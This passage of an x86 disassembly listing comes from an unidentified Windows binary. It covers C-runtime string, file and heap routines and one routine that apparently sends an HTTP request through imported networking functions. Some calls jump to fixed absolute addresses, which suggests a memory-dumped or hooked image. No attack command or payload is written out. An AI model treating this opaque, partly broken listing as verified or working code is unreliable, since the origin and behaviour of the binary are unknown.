		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A030
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB05C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CAE38
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A194
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A18C
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------

loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A188

loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------

loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A184
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi

loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A140
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A274
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CAE70
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAF48
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CAF3C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CAEE8
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A258
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A21C
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A200
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------

loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A1D4
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A1A4

loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h

loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CAFA8
		push	[ebp+var_4]
		call	dword_4CAFA8
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000

loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0

loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------

loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------

loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------

loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi

loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi

loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27B0000h

loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------

loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]

loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax

loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]

loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------

loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	loc_41B342

loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DC900
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi

loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h

loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5

loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi

loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi

loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h

loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A

loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi

loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2850000h
		mov	edi, eax

loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B

loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------

loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi

loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C2F4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------

loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi

loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h

loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B

loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi

loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------

loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		call	near ptr 2850000h
		nop
		mov	edi, eax

loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B

loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB2FC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------

loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi

loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2850000h
		test	eax, eax
		jnz	short loc_41B49D

loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D

loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax

loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------

loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB2FC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510

loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE

loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DC908
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DC900
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------

loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi

loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C2F4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------

loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi

loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DC904
		call	near ptr 27C0000h
		nop

loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
